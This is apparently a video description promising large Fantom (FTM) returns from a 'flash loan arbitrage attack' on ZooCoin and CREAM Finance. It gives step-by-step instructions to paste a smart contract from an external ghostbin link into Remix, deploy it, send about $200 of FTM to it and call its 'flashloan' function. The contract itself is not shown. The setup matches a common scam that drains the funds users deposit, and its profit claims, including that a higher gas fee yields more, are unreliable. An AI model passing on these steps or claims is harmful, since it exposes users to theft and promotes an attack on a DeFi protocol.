Earn crypto with Fantom FTM with arbitrage attacks on CREAM Finance. 90FTM – 650+ FTM

2 years ago
32

Setup Metamask to connect to Fantom Opera - https://docs.fantom.foundation/tutorials/set-up-metamask

Smart Contract Code Link - https://ghostbin.com/EepLT/raw

Remix Link - http://remix.ethereum.org/

ZooCoin - https://trade.zoocoin.cash/

Flash Loan Explanation - https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

USD to FTM - https://coincodex.com/convert/fantom/usd/

TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE

In this video, you can see how I used Flashloans to Arbitrage in Phantom Opera by deploying Contract/Token to mask our arbitrage attack against ZooCoin.

This worked for me. But TRY IT AT YOUR OWN RISK.

STEPS:

Before starting, install and setup MetaMask in Chrome Browser.

1. Open and setup Remix in browser (https://remix.ethereum.org)

2. Copy the Contract code (https://ghostbin.com/EepLT/raw)

3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.16+commit version and hit Compile.

4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract

5. Get the Contract address from Remix

6. Send 200$ish of Fantom/FTM to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.

7. Call 'flashloan' function in Remix.

NOTE: If anyone needs a good bridge to get funds from one chain to the other I recommend "https://bridge.evodefi.com/?token=USDC". However make sure you have atleast a little of the native token to that chain so that you can cover gas fees to swap USDC once it arrives on new chain. I'm in no way connected to the project but like it for moving funds between chain.. Once again make sure you have native token atleast a little on chain so that you can swap coins once funds are there.

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